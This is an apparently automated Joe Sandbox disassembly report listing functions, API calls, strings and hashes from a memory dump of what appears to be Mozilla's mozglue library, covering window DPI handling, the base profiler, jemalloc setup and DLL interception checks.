GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6C565633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6C56563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6C56566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6C56567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6C565696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6C5656B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6C5656CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6C5656E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6C5656FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6C565716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6C56572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6C565748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6C565761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6C56577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6C565793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6C5657A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6C5657BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6C5657D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6C5657EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6C5657FF

Strings

ShowWindow, xrefs: 6C5656DE
CreateSolidBrush, xrefs: 6C5657E4
LoadCursorW, xrefs: 6C565774
ReleaseDC, xrefs: 6C565742
DeleteObject, xrefs: 6C5657F9
GetWindowDC, xrefs: 6C565710
CreateWindowExW, xrefs: 6C5656C5
SetWindowPos, xrefs: 6C5656F7
gdi32, xrefs: 6C56560A
FillRect, xrefs: 6C565729
RegisterClassW, xrefs: 6C5656AC
StretchDIBits, xrefs: 6C5657CC
GetSystemMetricsForDpi, xrefs: 6C565677
GetThreadDpiAwarenessContext, xrefs: 6C56562D
AreDpiAwarenessContextsEqual, xrefs: 6C565637
EnableNonClientDpiScaling, xrefs: 6C565666
SetWindowLongPtrW, xrefs: 6C5657B7
MonitorFromWindow, xrefs: 6C56578D
GetDpiForWindow, xrefs: 6C565690
user32, xrefs: 6C565601
LoadIconW, xrefs: 6C56575B
GetMonitorInfoW, xrefs: 6C5657A2

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: 00de639ef01af16e70bb5cc8256a2ae75c894e7ba26a01aa61417d21ef29a3ae
Instruction ID: af76bb25cb525de9e8170bf69e87db3ad1547d96c4eacc8bf6cd23fa3078c645
Opcode Fuzzy Hash: 00de639ef01af16e70bb5cc8256a2ae75c894e7ba26a01aa61417d21ef29a3ae
Instruction Fuzzy Hash: A95122707537239FEB10AF368D449263AFCAB0B2457626525E961E2E63EB74C800CF74

Function 6C5634A0 Relevance: 61.0, APIs: 33, Strings: 1, Instructions: 1467COMMON

Download Yara Rule

APIs

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C563527
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C56355B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5635BC
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5635E0
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C56363A
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C563693
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5636CD
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C563703
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C56373C
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C563775
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C56378F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C563892
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5638BB
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C563902
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C563939
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C563970
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5639EF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C563A26
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C563AE5
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C563E85
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C563EBA
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C563EE2

Part of subcall function 6C566180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6C5661DD
Part of subcall function 6C566180: memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6C56622C

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5640F9
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C56412F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C564157

Part of subcall function 6C566180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C566250
Part of subcall function 6C566180: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C566292

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C56441B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C564448
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C56484E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C564863
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C564878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C564896
free.MOZGLUE ref: 6C56489F

Strings

, xrefs: 6C564CD2

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: floor$free$malloc$memcpy
String ID:
API String ID: 3842999660-3916222277
Opcode ID: c41ea1802e9a66e66ae460f10651acb4211539bbf5c9ccd5a99c73038f2af292
Instruction ID: 5ee04a8c17e571746c8b12bc5936e9a806da702616d266ea7055c58ab7ccccec
Opcode Fuzzy Hash: c41ea1802e9a66e66ae460f10651acb4211539bbf5c9ccd5a99c73038f2af292
Instruction Fuzzy Hash: 76F24B74909780CFC721CF29C49469AFBF1BFCA348F118A5ED98997721DB319896CB42

Function 6C54F070 Relevance: 59.9, APIs: 30, Strings: 4, Instructions: 412
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C54F09B

Part of subcall function 6C525B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C5256EE,?,00000001), ref: 6C525B85
Part of subcall function 6C525B50: EnterCriticalSection.KERNEL32(6C58F688,?,?,?,6C5256EE,?,00000001), ref: 6C525B90
Part of subcall function 6C525B50: LeaveCriticalSection.KERNEL32(6C58F688,?,?,?,6C5256EE,?,00000001), ref: 6C525BD8
Part of subcall function 6C525B50: GetTickCount64.KERNEL32 ref: 6C525BE4

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C54F0AC

Part of subcall function 6C525C50: GetTickCount64.KERNEL32 ref: 6C525D40
Part of subcall function 6C525C50: EnterCriticalSection.KERNEL32(6C58F688), ref: 6C525D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C54F0BE

Part of subcall function 6C525C50: __aulldiv.LIBCMT ref: 6C525DB4
Part of subcall function 6C525C50: LeaveCriticalSection.KERNEL32(6C58F688), ref: 6C525DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(?,?), ref: 6C54F155
GetCurrentThreadId.KERNEL32 ref: 6C54F1E0
AcquireSRWLockExclusive.KERNEL32(6C58F4B8), ref: 6C54F1ED
ReleaseSRWLockExclusive.KERNEL32(6C58F4B8), ref: 6C54F212
GetCurrentThreadId.KERNEL32 ref: 6C54F229
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C54F231
?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C54F248
GetCurrentThreadId.KERNEL32 ref: 6C54F2AE
AcquireSRWLockExclusive.KERNEL32(6C58F4B8), ref: 6C54F2BB
ReleaseSRWLockExclusive.KERNEL32(6C58F4B8), ref: 6C54F2F8

Part of subcall function 6C53CBE8: GetCurrentProcess.KERNEL32(?,6C5031A7), ref: 6C53CBF1
Part of subcall function 6C53CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5031A7), ref: 6C53CBFA

Part of subcall function 6C549420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C514A68), ref: 6C54945E
Part of subcall function 6C549420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C549470
Part of subcall function 6C549420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C549482
Part of subcall function 6C549420: __Init_thread_footer.LIBCMT ref: 6C54949F

GetCurrentThreadId.KERNEL32 ref: 6C54F350
AcquireSRWLockExclusive.KERNEL32(6C58F4B8), ref: 6C54F35D
ReleaseSRWLockExclusive.KERNEL32(6C58F4B8), ref: 6C54F381
GetCurrentThreadId.KERNEL32 ref: 6C54F398
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C54F3A0
GetCurrentThreadId.KERNEL32 ref: 6C54F489
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C54F491

Part of subcall function 6C5494D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5494EE
Part of subcall function 6C5494D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C549508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C54F3CF

Part of subcall function 6C54F070: GetCurrentThreadId.KERNEL32 ref: 6C54F440
Part of subcall function 6C54F070: AcquireSRWLockExclusive.KERNEL32(6C58F4B8), ref: 6C54F44D
Part of subcall function 6C54F070: ReleaseSRWLockExclusive.KERNEL32(6C58F4B8), ref: 6C54F472

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C54F4A8
GetCurrentThreadId.KERNEL32 ref: 6C54F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C54F561
GetCurrentThreadId.KERNEL32 ref: 6C54F577
AcquireSRWLockExclusive.KERNEL32(6C58F4B8), ref: 6C54F585
ReleaseSRWLockExclusive.KERNEL32(6C58F4B8), ref: 6C54F5A3

Strings

[I %d/%d] profiler_resume_sampling, xrefs: 6C54F499
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C54F56A
[I %d/%d] profiler_resume, xrefs: 6C54F239
[I %d/%d] profiler_pause_sampling, xrefs: 6C54F3A8

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: CurrentExclusiveLock$Thread$AcquireRelease$CriticalSectionTime_getpid$?profiler_time@baseprofiler@mozilla@@getenv$Count64EnterLeaveProcessStampTickV01@@Value@mozilla@@$BaseCounterDurationInit_thread_footerNow@PerformancePlatformQuerySeconds@Stamp@mozilla@@TerminateUtils@mozilla@@V12@___acrt_iob_func__aulldiv__stdio_common_vfprintf
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 565197838-2840072211
Opcode ID: 679853bbc95144af9276d91ae6baa80eada1a23ad7d2cfd78ac93d05d2ded500
Instruction ID: 44c735f24241982849936393c24bf798ba42781498188fd26736f19ebce5ee37
Opcode Fuzzy Hash: 679853bbc95144af9276d91ae6baa80eada1a23ad7d2cfd78ac93d05d2ded500
Instruction Fuzzy Hash: C0D12B31606230DFDB00EF68DC047AA77F8EB8B328F11571AE95593B91DB715808C7AA

Function 6C5164C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6C5164DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6C5164F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6C516505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6C516518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C51652B
memcpy.VCRUNTIME140(?,?,?), ref: 6C51671C
GetCurrentProcess.KERNEL32 ref: 6C516724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C51672F
GetCurrentProcess.KERNEL32 ref: 6C516759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C516764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6C516A80
GetSystemInfo.KERNEL32(?), ref: 6C516ABE
__Init_thread_footer.LIBCMT ref: 6C516AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C516AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C516AF7

Strings

_etoured.dll, xrefs: 6C5164ED
detoured.dll, xrefs: 6C5164DA
nvdxgiwrap.dll, xrefs: 6C516513
nvd3d9wrap.dll, xrefs: 6C516500
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6C516798
user32.dll, xrefs: 6C516526

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: b7735e80a63461db5a99e9194eb236483fb6d9d5ea4a924323c64d0322f9580c
Instruction ID: 3347e49f6074858982839eaace3ee2f3cadcccfc6c021a331294a46f0ac1eb04
Opcode Fuzzy Hash: b7735e80a63461db5a99e9194eb236483fb6d9d5ea4a924323c64d0322f9580c
Instruction Fuzzy Hash: D9F1A470909329DFEB20DF24CC4CB9AB7B5EF46318F154299D809A7A41DB31AE84CF91

Function 6C52D850 Relevance: 48.4, APIs: 21, Strings: 6, Instructions: 1109COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C52D904
LeaveCriticalSection.KERNEL32(?), ref: 6C52D971
memset.VCRUNTIME140(?,00000000,?), ref: 6C52D97B
LeaveCriticalSection.KERNEL32(?), ref: 6C52E2E3
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C52E2E9
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C52E308
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C52E315
AcquireSRWLockExclusive.KERNEL32(6C58E804), ref: 6C52E37C
GetSystemInfo.KERNEL32(?), ref: 6C52E3C7
__Init_thread_footer.LIBCMT ref: 6C52E3DA
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C58E810,00000040), ref: 6C52E404
InitializeCriticalSectionAndSpinCount.KERNEL32(6C58E7B8,00001388), ref: 6C52E46D
InitializeCriticalSectionAndSpinCount.KERNEL32(6C58E744,00001388), ref: 6C52E483
InitializeCriticalSectionAndSpinCount.KERNEL32(6C58E784,00001388), ref: 6C52E4A9
InitializeCriticalSectionAndSpinCount.KERNEL32(6C58E7DC,00001388), ref: 6C52E4CA
InitializeCriticalSectionAndSpinCount.KERNEL32(6C58E768,00001388), ref: 6C52E50C
memset.VCRUNTIME140(00000000,00000000,00004000), ref: 6C52E52E
ReleaseSRWLockExclusive.KERNEL32(6C58E804), ref: 6C52E54F

Part of subcall function 6C51D960: EnterCriticalSection.KERNEL32(?), ref: 6C51D999
Part of subcall function 6C51D960: EnterCriticalSection.KERNEL32(6C58E7B8), ref: 6C51DA13

Strings

Compile-time page size does not divide the runtime one., xrefs: 6C52E621
<jemalloc>, xrefs: 6C52E61C, 6C52E6CC
MALLOC_OPTIONS, xrefs: 6C52E3FF
: (malloc) Unsupported character in malloc options: ', xrefs: 6C52E6DD
MOZ_CRASH(), xrefs: 6C52E62B
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C52E560, 6C52E58A, 6C52E5A5

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: CriticalSection$CountInitializeSpin$Enter$ExclusiveK@1@LeaveLockMaybe@_RandomUint64@mozilla@@memset$AcquireEnvironmentInfoInit_thread_footerReleaseSystemVariable_errno
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 919329573-429003945
Opcode ID: db233982c924f0f54b83e47de1fd97eb7d04cdfce7a83b181325151fc03c5f0a
Instruction ID: fe4e907f51a5668c133d6fd73a30f0d2b3b813774157ab130aba0ab375c34927
Opcode Fuzzy Hash: db233982c924f0f54b83e47de1fd97eb7d04cdfce7a83b181325151fc03c5f0a
Instruction Fuzzy Hash: FF928B71A056118FD714CF28CC80715BBE1BF86328F29866DE8699B7D1D7B9E841CBC1

Function 6C56C4A0 Relevance: 35.2, APIs: 26, Instructions: 2665COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C56C5F9
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C56C6FB
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C56C74D
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C56C7DE
memset.VCRUNTIME140(?,00000000,00004014), ref: 6C56C9D5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C56CC76
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C56CD7A
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C56DB40
memcpy.VCRUNTIME140(?,?,?), ref: 6C56DB62
memcpy.VCRUNTIME140(?,?,?), ref: 6C56DB99
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C56DD8B
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C56DE95
memcpy.VCRUNTIME140(?,?,?), ref: 6C56E360
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C56E432
memcpy.VCRUNTIME140(?,?,?), ref: 6C56E472

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction ID: a9726ccf477acaf1aa8e3ba751e56d5a01a6742cf670f338750c7e06ff5767be
Opcode Fuzzy Hash: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction Fuzzy Hash: 3433A071E0021ACFCB14CFA9C8806ADBBF2FF49310F284669D955ABB65D731A945CB90

Function 6C52ED10 Relevance: 32.4, APIs: 16, Strings: 2, Instructions: 5407COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00010030), ref: 6C52EE7A
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C52EFB5
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C531695
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5316B4
memset.VCRUNTIME140(00000002,000000FF,?,?), ref: 6C531770
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C531A3E

Strings

~qPl, xrefs: 6C52ED13
~qPl, xrefs: 6C52ED10

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: memset$freemallocmemcpy
String ID: ~qPl$~qPl
API String ID: 3693777188-4133263194
Opcode ID: 6cccdcb1d0f72aa56875879b173207c90e3fe23c728f429a2b48323a342646a4
Instruction ID: fdd3d346c27fb1036906a8ff0d603cc07e09b9cc49aa631c5be3c97c13328a28
Opcode Fuzzy Hash: 6cccdcb1d0f72aa56875879b173207c90e3fe23c728f429a2b48323a342646a4
Instruction Fuzzy Hash: 36B31E71E04229CFCB14CFA8C890A9DB7B2FF89304F158669D459AB745E734AD86CF90

Function 6C51FD00 Relevance: 31.4, APIs: 17, Strings: 3, Instructions: 1360memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C58E7B8), ref: 6C51FF81
LeaveCriticalSection.KERNEL32(6C58E7B8), ref: 6C52022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C520240
EnterCriticalSection.KERNEL32(6C58E768), ref: 6C52025B
LeaveCriticalSection.KERNEL32(6C58E768), ref: 6C52027B

Strings

<jemalloc>, xrefs: 6C520D62, 6C520D76, 6C520DA7
: (malloc) Error in VirtualFree(), xrefs: 6C520D67, 6C520D7B, 6C520DAC
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C51FE99, 6C51FEB7, 6C51FED3, 6C520DB8, 6C520DD3, 6C5219B4

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3577267516
Opcode ID: 05eff3b7e0bd457f79042caaae2378b2aa3ca1fd04c38fee96dabd2843578f43
Instruction ID: 3bb9ede42d719695b9f47ef121a1e5141f29a71a07b791fc0c3ae7b1c45fe123
Opcode Fuzzy Hash: 05eff3b7e0bd457f79042caaae2378b2aa3ca1fd04c38fee96dabd2843578f43
Instruction Fuzzy Hash: 00C29D71A067418FD714CF28C890716BBE1AFC6328F28C66DE4AA8B7D5D775E841CB81

Function 6C56E680 Relevance: 31.1, APIs: 22, Instructions: 3648COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00004014), ref: 6C56E811
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C56EAA8
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C56EBD5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C56EEF6
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C56F223
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C56F322
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C570E03
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C570E54
memcpy.VCRUNTIME140(?,?,?), ref: 6C570EAE
memcpy.VCRUNTIME140(?,?,?), ref: 6C570ED4

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: 69079b3c847d14bae87154143bfba343ddbfaa052e22bfd137a0534d4b612d44
Instruction ID: 7cd529adaebdedaed8e312aefb3d8ba085a001d9311f66aaeaf6f1f7608e1872
Opcode Fuzzy Hash: 69079b3c847d14bae87154143bfba343ddbfaa052e22bfd137a0534d4b612d44
Instruction Fuzzy Hash: A6637E71E0025A8FCB14CFA8C8906DDFBF2FF89310F298269D855AB755D731A985CB90

Function 6C543E50 Relevance: 28.8, APIs: 13, Strings: 3, Instructions: 765COMMON

Download Yara Rule

APIs

Part of subcall function 6C567770: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(}>Tl,?,?,?,6C543E7D,?,?), ref: 6C56777C

tolower.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000), ref: 6C543F17
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C543F5C
VerSetConditionMask.NTDLL ref: 6C543F8D
VerSetConditionMask.NTDLL ref: 6C543F99
VerSetConditionMask.NTDLL ref: 6C543FA0
VerSetConditionMask.NTDLL ref: 6C543FA7
